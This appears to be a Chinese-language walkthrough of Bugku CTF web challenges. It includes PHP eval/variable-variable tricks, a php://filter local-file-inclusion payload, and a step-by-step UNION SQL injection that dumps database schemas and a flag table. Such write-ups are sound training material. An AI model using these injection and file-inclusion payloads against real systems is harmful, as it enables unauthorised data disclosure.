Web类型解题思路

WEB3

KEY{J2sa42ahJK-HS11III}
像&#+十进制数这种类型的编码是HTML的转移字符。

域名解析

题目：听说把 flag.bugku.com 解析到120.24.86.145 就能拿到flag。
修改C:\Windows\System32\drivers\etc\hosts文件

你必须让他停下

不知道我的做法对不对。我是用console控制到设置JavaScript断点来让他停止！

变量1

题目代码如下：

flag In the variable ! <?php  error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){$args = $_GET['args'];if(!preg_match("/^\w+$/",$args)){die("args error!");}eval("var_dump($$args);");
}
?>

在解题之前，我们先插入一个知识点：

<?php
$a = 'aa';
$aa = 'bb';
$b = $$a;//这里做了一步,$b = $($a)=$(aa)=$aa
echo $b;
?> 输出结果：
>>>bb

于是，这题思路就是将$args这个的数值变为一个变量！可以看出只要将eval("var_dump($$args);");这句话被执行，就可以得到我们想要的结果。
显然，GLOBALS存储所有变量的键/值，所以args=GLOBALS。

web5

题目：

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这题只要直接将这个字符串复制到Chrome的控制台下作为输入内容就可以得到输出的答案ctf{whatfk}。

flag在index里

这题，有点难！
第一步将参数file的值设为php://filter/read/convert.base64-encode/resource=index.php，求大神说明一下！
第二步，由第一步获取到了一堆由base64编码后的字符。将这些字符解码后将获取到一段源代码！

120.24.86.145:8005/post/index.php?file=php://filter/read/convert.base64-encode/resource=index.php<html><title>Bugku-ctf</title><?phperror_reporting(0);if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}$file=$_GET['file'];if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){echo "Oh no!";exit();}include($file);
//flag:flag{edulcni_elif_lacol_si_siht}
?>
</html>

点击一百万次

这题要注意，get和post的请求包头部有些不一样！
GET

GET /test/ HTTP/1.1
Host: 120.24.86.145:9001
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
Upgrade-Insecure-Requests: 1

POST

POST /test/ HTTP/1.1
Host: 120.24.86.145:9001
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 14clicks=1000000

成绩查询

SQL注入题！简单题！

关键字	作用
UNION	将多个查询连接起来形成一张表
group_concat(field)	将每条数据的某几个字段连接成一条字符串
information_schema.schemata	存储所有schemata的各个属性的表
information_schema.tables	存储所有table的表,以及chemata的所有属性
information_schema.columns	存储所有field名字的表,以及table的所有属性和chemata的所有属性

第一步：暴库
id=-1’ union select 1,2,3,group_concat(schema_name) from information_schema.schemata#

第二步：爆表
id=-1’ union select 1,2,3,table_name from information_schema.tables where table_schema=0x736b6374665f666c6167#

第三步：爆字段
id=-1’ union select 1,2,3,column_name from information_schema.columns where table_name=0x666c3467#

第四步：爆内容
id=-1’ union select 1,2,3,group_concat(skctf_flag) from skctf_flag.fl4g#

这题头疼，不好做！！！！

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